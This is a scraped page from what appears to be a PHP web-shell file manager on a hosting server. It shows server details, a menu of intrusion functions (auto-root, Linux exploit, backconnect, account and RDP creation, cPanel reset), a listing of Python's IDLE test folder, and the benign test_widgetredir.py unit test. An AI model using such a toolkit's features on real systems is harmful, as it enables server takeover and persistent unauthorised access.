Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
idlelib /
idle_test /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
5.36
KB
-rw-r--r--
__init__.py
650
B
-rw-r--r--
__init__.pyc
915
B
-rw-r--r--
__init__.pyo
915
B
-rw-r--r--
htest.py
13.46
KB
-rw-r--r--
htest.pyc
12.3
KB
-rw-r--r--
htest.pyo
12.3
KB
-rw-r--r--
mock_idle.py
1.56
KB
-rw-r--r--
mock_idle.pyc
2.81
KB
-rw-r--r--
mock_idle.pyo
2.81
KB
-rw-r--r--
mock_tk.py
11.3
KB
-rw-r--r--
mock_tk.pyc
12.07
KB
-rw-r--r--
mock_tk.pyo
12.07
KB
-rw-r--r--
test_autocomplete.py
4.81
KB
-rw-r--r--
test_autocomplete.pyc
5.72
KB
-rw-r--r--
test_autocomplete.pyo
5.72
KB
-rw-r--r--
test_autoexpand.py
4.03
KB
-rw-r--r--
test_autoexpand.pyc
4.69
KB
-rw-r--r--
test_autoexpand.pyo
4.69
KB
-rw-r--r--
test_calltips.py
6.97
KB
-rw-r--r--
test_calltips.pyc
11.85
KB
-rw-r--r--
test_calltips.pyo
11.85
KB
-rw-r--r--
test_config_name.py
2.41
KB
-rw-r--r--
test_config_name.pyc
3.92
KB
-rw-r--r--
test_config_name.pyo
3.92
KB
-rw-r--r--
test_configdialog.py
782
B
-rw-r--r--
test_configdialog.pyc
1.62
KB
-rw-r--r--
test_configdialog.pyo
1.62
KB
-rw-r--r--
test_delegator.py
1.26
KB
-rw-r--r--
test_delegator.pyc
1.29
KB
-rw-r--r--
test_delegator.pyo
1.29
KB
-rw-r--r--
test_editmenu.py
3.09
KB
-rw-r--r--
test_editmenu.pyc
4.33
KB
-rw-r--r--
test_editmenu.pyo
4.33
KB
-rw-r--r--
test_formatparagraph.py
14.01
KB
-rw-r--r--
test_formatparagraph.pyc
13.98
KB
-rw-r--r--
test_formatparagraph.pyo
13.98
KB
-rw-r--r--
test_grep.py
2.7
KB
-rw-r--r--
test_grep.pyc
3.67
KB
-rw-r--r--
test_grep.pyo
3.67
KB
-rw-r--r--
test_helpabout.py
1.57
KB
-rw-r--r--
test_helpabout.pyc
2.31
KB
-rw-r--r--
test_helpabout.pyo
2.31
KB
-rw-r--r--
test_hyperparser.py
5.55
KB
-rw-r--r--
test_hyperparser.pyc
6.58
KB
-rw-r--r--
test_hyperparser.pyo
6.58
KB
-rw-r--r--
test_idlehistory.py
5.37
KB
-rw-r--r--
test_idlehistory.pyc
7.95
KB
-rw-r--r--
test_idlehistory.pyo
7.95
KB
-rw-r--r--
test_io.py
9.28
KB
-rw-r--r--
test_io.pyc
11.26
KB
-rw-r--r--
test_io.pyo
11.26
KB
-rw-r--r--
test_parenmatch.py
3.73
KB
-rw-r--r--
test_parenmatch.pyc
5.33
KB
-rw-r--r--
test_parenmatch.pyo
5.33
KB
-rw-r--r--
test_pathbrowser.py
940
B
-rw-r--r--
test_pathbrowser.pyc
1.45
KB
-rw-r--r--
test_pathbrowser.pyo
1.45
KB
-rw-r--r--
test_rstrip.py
1.58
KB
-rw-r--r--
test_rstrip.pyc
1.73
KB
-rw-r--r--
test_rstrip.pyo
1.73
KB
-rw-r--r--
test_searchdialogbase.py
5.73
KB
-rw-r--r--
test_searchdialogbase.pyc
6.67
KB
-rw-r--r--
test_searchdialogbase.pyo
6.67
KB
-rw-r--r--
test_searchengine.py
11.22
KB
-rw-r--r--
test_searchengine.pyc
12.35
KB
-rw-r--r--
test_searchengine.pyo
12.35
KB
-rw-r--r--
test_text.py
6.59
KB
-rw-r--r--
test_text.pyc
7.96
KB
-rw-r--r--
test_text.pyo
7.96
KB
-rw-r--r--
test_textview.py
2.74
KB
-rw-r--r--
test_textview.pyc
4.42
KB
-rw-r--r--
test_textview.pyo
4.42
KB
-rw-r--r--
test_warning.py
2.69
KB
-rw-r--r--
test_warning.pyc
3.21
KB
-rw-r--r--
test_warning.pyo
3.21
KB
-rw-r--r--
test_widgetredir.py
4.08
KB
-rw-r--r--
test_widgetredir.pyc
6.23
KB
-rw-r--r--
test_widgetredir.pyo
6.23
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_widgetredir.py
"""Unittest for idlelib.WidgetRedirector 100% coverage """ from test.test_support import requires import unittest from idlelib.idle_test.mock_idle import Func from Tkinter import Tk, Text, TclError from idlelib.WidgetRedirector import WidgetRedirector class InitCloseTest(unittest.TestCase): @classmethod def setUpClass(cls): requires('gui') cls.root = Tk() cls.root.withdraw() cls.text = Text(cls.root) @classmethod def tearDownClass(cls): del cls.text cls.root.destroy() del cls.root def test_init(self): redir = WidgetRedirector(self.text) self.assertEqual(redir.widget, self.text) self.assertEqual(redir.tk, self.text.tk) self.assertRaises(TclError, WidgetRedirector, self.text) redir.close() # restore self.tk, self.text def test_close(self): redir = WidgetRedirector(self.text) redir.register('insert', Func) redir.close() self.assertEqual(redir._operations, {}) self.assertFalse(hasattr(self.text, 'widget')) class WidgetRedirectorTest(unittest.TestCase): @classmethod def setUpClass(cls): requires('gui') cls.root = Tk() cls.root.withdraw() cls.text = Text(cls.root) @classmethod def tearDownClass(cls): del cls.text cls.root.destroy() del cls.root def setUp(self): self.redir = WidgetRedirector(self.text) self.func = Func() self.orig_insert = self.redir.register('insert', self.func) self.text.insert('insert', 'asdf') # leaves self.text empty def tearDown(self): self.text.delete('1.0', 'end') self.redir.close() def test_repr(self): # partly for 100% coverage self.assertIn('Redirector', repr(self.redir)) self.assertIn('Original', repr(self.orig_insert)) def test_register(self): self.assertEqual(self.text.get('1.0', 'end'), '\n') self.assertEqual(self.func.args, ('insert', 'asdf')) self.assertIn('insert', self.redir._operations) self.assertIn('insert', self.text.__dict__) self.assertEqual(self.text.insert, self.func) def test_original_command(self): self.assertEqual(self.orig_insert.operation, 'insert') self.assertEqual(self.orig_insert.tk_call, self.text.tk.call) self.orig_insert('insert', 'asdf') self.assertEqual(self.text.get('1.0', 'end'), 'asdf\n') def test_unregister(self): self.assertIsNone(self.redir.unregister('invalid operation name')) self.assertEqual(self.redir.unregister('insert'), self.func) self.assertNotIn('insert', self.redir._operations) self.assertNotIn('insert', self.text.__dict__) def test_unregister_no_attribute(self): del self.text.insert self.assertEqual(self.redir.unregister('insert'), self.func) def test_dispatch_intercept(self): self.func.__init__(True) self.assertTrue(self.redir.dispatch('insert', False)) self.assertFalse(self.func.args[0]) def test_dispatch_bypass(self): self.orig_insert('insert', 'asdf') # tk.call returns '' where Python would return None self.assertEqual(self.redir.dispatch('delete', '1.0', 'end'), '') self.assertEqual(self.text.get('1.0', 'end'), '\n') def test_dispatch_error(self): self.func.__init__(TclError()) self.assertEqual(self.redir.dispatch('insert', False), '') self.assertEqual(self.redir.dispatch('invalid'), '') def test_command_dispatch(self): # Test that .__init__ causes redirection of tk calls # through redir.dispatch self.root.call(self.text._w, 'insert', 'hello') self.assertEqual(self.func.args, ('hello',)) self.assertEqual(self.text.get('1.0', 'end'), '\n') # Ensure that called through redir .dispatch and not through # self.text.insert by having mock raise TclError. self.func.__init__(TclError()) self.assertEqual(self.root.call(self.text._w, 'insert', 'boo'), '') if __name__ == '__main__': unittest.main(verbosity=2)
Close